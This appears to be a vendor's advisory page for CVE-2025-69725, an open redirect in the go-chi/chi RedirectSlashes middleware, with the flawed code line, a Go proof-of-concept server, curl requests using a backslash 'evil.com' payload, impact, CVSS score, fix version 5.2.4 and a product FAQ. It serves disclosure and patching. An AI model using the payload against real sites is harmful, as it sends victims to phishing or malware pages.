CVE-2025-69725

The RedirectSlashes function in middleware/strip.go does not perform correct input validation and can lead to an open redirect vulnerability.

Details

The RedirectSlashes function performs a Trim to all forward slash (/) characters, while prepending a single one at the begining of the path (Line 52).

However, it does not trim backslashes (\).

File: middleware/strip.go
41: func RedirectSlashes(next http.Handler) http.Handler {
...
51: 			// Trim all leading and trailing slashes (e.g., "//evil.com", "/some/path//")
52: 			path = "/" + strings.Trim(path, "/")
...
62: }

Also, from version 5.2.2 onwards the RedirectSlashes function does not take into consideration the Host Header in the redirect response returned. This was done in order to combat another vulnerability.

The above make it possible for a response in the following form:

HTTP/1.1 301 Moved Permanently
Location: /\evil.com

The /\evil.com will be transformed by most browsers (Chrome, Firefox, etc. not Safari) into //evil.com which is a protocol relative URL and will result in a redirect to evil.com, essentially making it an open redirect vulnerability.

PoC

A minimal working example can be seen below.

package main

import (
	"fmt"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)



func main() {
	r := chi.NewRouter()

	r.Use(middleware.RedirectSlashes)

	r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
	})

	fmt.Println("Server starting on port 8081...")
	if err := http.ListenAndServe(":8081", r); err != nil {
		fmt.Printf("Error starting server: %v\n", err)
	}
}

And when we request the path /\evil.com (needs a second backslash or URL encoding in the terminal), the HTTP Redirect Location is just /\evil.com without any domain/Host information.

$ curl -I  localhost:8081/\\evil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com

$ curl -I  localhost:8081/%5Cevil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com

This opened in a browser (Chrome, Firefox) will result in a transformation to //evil.com which in turn will result in a redirect to evil.com.

This essentially consists of an open redirect vulnerability, provided that victim users use the most popular browsers (Chrome, Firefox, etc. It does not work in e.g. Safari).

The attacker can construct a malicious URL on a domain of a legitimate website and send it to the victim user. The victim users thinking that they will click on a legitimate website's URL, they will unknowingly be reidrected to an attacker controlled website.

This can lead to credential theft if the victim gets redirected to a phishing website, to malware that is hosted on the attacker controlled website etc. Also, it has a greate reputation / business impact for the affected legitimate website.

In order to exploit this vulnerability the attacker does not need to be authenticated or have ay other priviledge / knowledge regarding the affected application.

CVSS Score: 4.7 (Medium)

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

CVE-2025-69725 has a CVSS score of 4.7 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.2.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-69725? CVE-2025-69725 is a medium-severity open redirect vulnerability in github.com/go-chi/chi/v5 (go), affecting versions >= 5.2.2, < 5.2.4. It is fixed in 5.2.4. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
2. How severe is CVE-2025-69725? CVE-2025-69725 has a CVSS score of 4.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/go-chi/chi/v5 are affected by CVE-2025-69725? github.com/go-chi/chi/v5 (go) versions >= 5.2.2, < 5.2.4 is affected.
4. Is there a fix for CVE-2025-69725? Yes. CVE-2025-69725 is fixed in 5.2.4. Upgrade to this version or later.
5. Is CVE-2025-69725 exploitable, and should I be worried? Whether CVE-2025-69725 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-69725 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-69725? Upgrade github.com/go-chi/chi/v5 to 5.2.4 or later.